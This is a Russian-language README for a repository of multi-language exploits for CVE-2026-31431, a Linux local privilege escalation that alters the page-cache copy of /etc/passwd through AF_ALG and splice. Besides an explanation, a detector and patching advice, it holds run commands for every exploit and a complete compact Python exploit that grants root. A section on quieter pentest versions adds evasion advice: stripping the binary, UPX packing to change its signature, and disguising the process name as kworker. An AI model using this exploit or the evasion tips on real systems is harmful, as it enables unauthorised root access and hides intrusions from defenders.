
Многоязычные учебные реализации эксплойтов для CVE-2026-31431, локального повышения привилегий в ядре Linux через модуль algif_aead, с безопасным детектором и руководством по использованию в CTF.
Образовательный репозиторий с реализациями эксплойта Copy Fail на нескольких языках.
Создан и поддерживается @shotafry — потому что читать CVE недостаточно. Нужно его воспроизвести.
Copy Fail — это уязвимость локального повышения привилегий (LPE) в ядре Linux, классифицированная как CVE-2026-31431. Она затрагивает криптографическую подсистему ядра, а именно модуль algif_aead, который управляет операциями аутентифицированного шифрования (AEAD) через сокеты AF_ALG.
Ошибка была внесена в 2017 году в ходе оптимизации модуля authencesn и оставалась незамеченной почти 9 лет, присутствуя практически во всех современных дистрибутивах Linux.
Что делает Copy Fail особенным по сравнению с другими историческими LPE:
Уязвимость была обнаружена Taeyang Lee из исследовательской команды Theori. Полная цепочка эксплойта была разработана командой Xint Code Research, которая задокументировала процесс, используя анализ с помощью ИИ подсистемы crypto/ ядра Linux.
Публичное раскрытие включает рабочий PoC, полный технический анализ и документацию на copy.fail.
CVE: CVE-2026-31431
CVSS: 7.8 — ВЫСОКАЯ
Вектор: Локальный
Воздействие: Полное повышение привилегий (root)
Дистрибутивы: Все дистрибутивы Linux с ядром >= 2017 без патча
CVSS равен 7.8 и не достигает критического (9+) только потому, что требует предварительного локального доступа — атакующий уже должен иметь сессию в системе. В облачных средах и с контейнерами Docker это требование выполнить значительно проще, чем кажется.
Ядро Linux хранит в RAM файлы, которые недавно читались. Это называется page cache. Когда процесс читает /etc/passwd, ядро не обращается к диску — оно отдаёт копию из RAM. Это быстрее, но создаёт поверхность атаки: если можно изменить эту копию в RAM, не трогая диск, система увидит поддельные данные.
Модуль algif_aead позволяет выполнять операции AEAD из пользовательского пространства через сокеты AF_ALG. Баг находится в оптимизации, внесённой в 2017 году: когда splice() используется для передачи страниц файла в сокет, эти страницы page cache попадают в список рассеивания назначения (записываемый) криптографической операции.
Результат: любой пользователь без привилегий может записать 4 контролируемых байта в любой файл, который он может читать, не касаясь диска.
Пользователь без привилегий
│
▼
Открывает сокет AF_ALG (authencesn)
│
▼
sendmsg() — параметры AEAD с нашими 4 байтами в seqno_lo
│
▼
splice() — файл → pipe → сокет op
[БАГ] Page cache файла попадает в scatterlist назначения
│
▼
recv() запускает операцию AEAD
Аутентификация не проходит (EBADMSG), но scratch-write уже произошёл
│
▼
/etc/passwd (page cache) теперь показывает: пользователь → UID 0
│
▼
su <пользователь> → PAM проверяет реальный пароль → setuid(0) → ROOT
Представь, что у ядра есть книга регистрации замка (/etc/passwd). Copy Fail — это как обнаружить, что если открыть магическую мастерскую замка в очень конкретном порядке, книга регистрации случайно остаётся на твоём рабочем столе — и ты можешь изменить своё звание с «рядового солдата» на «короля» одной ручкой. Архивариус (PAM) проверяет твой пароль, но не проверяет оригинальную книгу, только копию, которая перед ним. Ты король.

>= ~2017 без патча CVE-2026-31431algif_aead доступен и загружаемЭто можно пропустить и сразу попробовать один из эксплойтов, но это также допустимо, если мы не хотим рисковать загрузкой или созданием их и хотим просто посмотреть, работает ли это, но у эксплойтов есть своя функция для проверки, уязвима ли система.
# Посмотреть версию ядра
uname -a
# Проверить, доступен ли алгоритм
grep -i authencesn /proc/crypto
# Проверить, загружен ли модуль
lsmod | grep alg
Если grep -i authencesn /proc/crypto возвращает authencesn(hmac(sha256),cbc(aes)), система уязвима.
Этот репозиторий содержит эксплойт, реализованный на 6 языках, все функционально эквивалентны, с образовательными комментариями на испанском.
copy_fail_exploit.c → C — статический бинарник, ноль зависимостей
copy_fail_exploit.py → Python — более читаемый, идеален для изучения
copy_fail_exploit.rs → Rust — ирония: «безопасный» язык эксплуатирует ядро
copy_fail_exploit.go → Go — статический бинарник, очень портативный
copy_fail_exploit.rb → Ruby — повсеместно на серверах Rails
copy_fail_exploit.pl → Perl — самый тихий, есть в каждом Linux
test_cve_2026_31431.py → Детектор — проверяет уязвимость без эксплуатации
python3 test_cve_2026_31431.py
# Компиляция
gcc copy_fail_exploit.c -o copy_fail_c
# Dry-run (очищает при выходе, не оставляет следов)
./copy_fail_c
# Полный эксплойт
./copy_fail_c --shell
# Dry-run
python3 copy_fail_exploit.py
# Полный эксплойт
python3 copy_fail_exploit.py --shell
# Компиляция
rustc copy_fail_exploit.rs -o copy_fail_rs
# Dry-run
./copy_fail_rs
# Полный эксплойт
./copy_fail_rs --shell
# Компиляция
go build -o copy_fail_go copy_fail_exploit.go
# Dry-run
./copy_fail_go
# Полный эксплойт
./copy_fail_go --shell
# Dry-run
ruby copy_fail_exploit.rb
# Полный эксплойт
ruby copy_fail_exploit.rb --shell
# Dry-run
perl copy_fail_exploit.pl
# Полный эксплойт
perl copy_fail_exploit.pl --shell
# Rust
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source ~/.cargo/env
# Go
apt install golang-go
# Ruby (обычно предустановлен в Kali)
apt install ruby
# Perl (практически всегда присутствует)
perl --version
После запуска эксплойта (до su) можно визуально проверить изменение в page cache с помощью:
# Терминал 1: мониторинг в реальном времени
watch -n 0.5 'grep tuusuario /etc/passwd'
# Терминал 2: запуск эксплойта
python3 copy_fail_exploit.py --shell
Вы увидите, как поле UID меняется с 1000 на 0000 в реальном времени. После su:
id
# uid=0(root) gid=0(root) groups=0(root)
Для очистки без перезагрузки (из root-оболочки):
echo 3 > /proc/sys/vm/drop_caches
[*] CVE-2026-31431 LPE usuario=shotafry uid=1000
[*] /etc/passwd: usuario 'shotafry' — campo UID en offset 3118 = '1000'
[*] Aplicando write4: '1000' -> '0000' en la page cache...
[+] Page cache ahora muestra UID 0 en offset 3118
[+] /etc/passwd (page cache) ahora lista a shotafry como UID 0
[+] Ejecuta: su shotafry
[+] Introduce tu contraseña. su hará setuid(0) → shell root.
Диск никогда не изменяется. Перезагрузка или drop_caches восстанавливают всё в исходное состояние.
Copy Fail актуален в любом CTF или лаборатории privesc в Linux, где ядро не пропатчено.
algif_aead может быть отключён в hardened-средах — если детектор падает на шаге AF_ALG, ищи другой вектор# 1. Проверить ядро
uname -a
# 2. Детектор
python3 test_cve_2026_31431.py
# 3. Если уязвима, эксплойт
python3 copy_fail_exploit.py --shell
# 4. Очистить после
echo 3 > /proc/sys/vm/drop_caches
Реализации в этом репозитории закомментированы и многословны по образовательным причинам. В реальном контексте пентеста вам понадобятся более тихие версии.
В основе эксплойта лежат 5 syscalls: socket, bind, setsockopt, sendmsg, splice. Всё остальное — косметика. Тихая версия убирает весь вывод и минимизирует код до минимально функционального.
# Компактная версия без вывода — та же функциональность, меньшая поверхность обнаружения
import os, socket, struct, pwd
def w4(p, o, b):
f = os.open(p, 0); os.read(f, 4096)
m = socket.socket(38, 5, 0)
m.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
m.setsockopt(279, 1, struct.pack("HH", 8, 1) + struct.pack(">I", 16) + b"\x00"*48)
op, _ = m.accept()
aad = b"\x00\x00\x00\x00" + b
op.sendmsg([aad], [(279,3,struct.pack("I",0)),(279,2,struct.pack("I",16)+b"\x00"*16),(279,4,struct.pack("I",8))], 32768)
pr, pw = os.pipe()
os.splice(f, pw, 32, offset_src=o); os.splice(pr, op.fileno(), 32)
try: op.recv(64)
except: pass
[os.close(x) for x in [pr,pw,op.fileno(),m.fileno(),f]]
u = pwd.getpwuid(os.getuid()).pw_name
d = open("/etc/passwd","rb").read()
i = d.index(u.encode()+b":")+len(u)+1
i = d.index(b":",i)+1
w4("/etc/passwd", i, b"0000")
os.execvp("su", ["su", u])
⚠️ Примечание: антивирусы и EDR обнаруживают паттерны обфускации (сжатые импорты, односимвольные имена функций, zlib+hex в цепочке). Статически скомпилированный C-бинарник остаётся самым тихим вариантом в мониторимых средах.
strip: gcc exploit.c -o exploit && strip exploit — удаляет отладочные символыupx --best exploit — сжимает бинарник, меняет его сигнатуруkworker или systemd-helper, чтобы он не бросался в глаза в ps# Debian/Ubuntu/Kali
apt update && apt upgrade
# RHEL/CentOS/Fedora
dnf update
# Arch
pacman -Syu
Если вы не можете немедленно пропатчить, отключите уязвимый модуль:
# Отключить модуль
rmmod algif_aead 2>/dev/null
# Предотвратить его загрузку в будущем
echo "install algif_aead /bin/false" >> /etc/modprobe.d/disable-algif.conf
python3 test_cve_2026_31431.py
# [+] Page cache intact. NOT vulnerable on this kernel.
Патч должен применяться к ядру хоста — контейнеры разделяют ядро и не изолированы от этой уязвимости. Обновление только образа контейнера ни от чего не защищает.
CVE-2026-31431-Copy-Fail/
├── README.md ← Этот файл (ES)
├── README_ENGLISH.md ← Версия на английском
├── copy_fail_exploit.c ← Эксплойт на C
├── copy_fail_exploit.py ← Эксплойт на Python
├── copy_fail_exploit.rs ← Эксплойт на Rust
├── copy_fail_exploit.go ← Эксплойт на Go
├── copy_fail_exploit.rb ← Эксплойт на Ruby
├── copy_fail_exploit.pl ← Эксплойт на Perl
├── test_cve_2026_31431.py ← Детектор (безопасный, ничего не изменяет)
└── assets/
├── Infografia.png ← Инфографика эксплойта
├── Exploit en C.png ← Скриншот эксплойта C в действии
└── passwd.png ← Вывод детектора на уязвимой системе
Пока все публиковали этот CVE с абзацем, сгенерированным ИИ, и ссылкой на официальный репозиторий, я провёл день, изучая его по-настоящему: читая код ядра, понимая page cache, воспроизводя эксплойт в лаборатории, а затем портируя его на 6 разных языков, чтобы точно понять, что происходит на каждом уровне.
Версия на Rust — моя любимая. Ты используешь язык, наиболее одержимый безопасностью памяти, чтобы эксплуатировать ошибку в ядре, написанном на C. Ирония объясняет сама себя.
Этот репозиторий существует, потому что я считаю, что разница между профессионалом в области безопасности и тем, кто просто делится постами, заключается в том, действительно ли ты сел и воспроизвёл вещи.
authencesn / algif_aeadЭтот репозиторий предназначен исключительно для образовательных целей, исследований в области безопасности и тестирования на собственных системах или с явным письменным разрешением.
Использование этих инструментов против систем без разрешения незаконно в большинстве юрисдикций. Автор не несёт ответственности за неправильное использование этого материала.
Тестируйте только то, что принадлежит вам или на что у вас есть разрешение на аудит.
Сделано с любопытством, лабораторией и слишком большим количеством кофе или пива 0.0, если быть точным.
@shotafry
@BrayLozano
| Характеристика | Copy Fail | Типичный LPE |
|---|
| Требуется гонка (race condition) | ❌ Нет | ✅ Да |
| Требуется конкретное смещение в ядре | ❌ Нет | ✅ Да |
| Работает во всех дистрибутивах | ✅ Да | ❌ Обычно нет |
| Надёжность | 100% детерминированно | Переменная |
| Изменяет диск | ❌ Нет (только RAM) | Зависит |
| Язык | Требование на цели | Предварительная компиляция |
|---|
| C | Нет (статический бинарник) | gcc на машине компиляции |
| Python | Python 3.10+ | Нет |
| Rust | Нет (статический бинарник) | rustc на машине компиляции |
| Go | Нет (статический бинарник) | go на машине компиляции |
| Ruby | Ruby + gem fiddle (включён по умолчанию) | Нет |
| Perl | Perl 5 (включён практически во всех Linux) | Нет |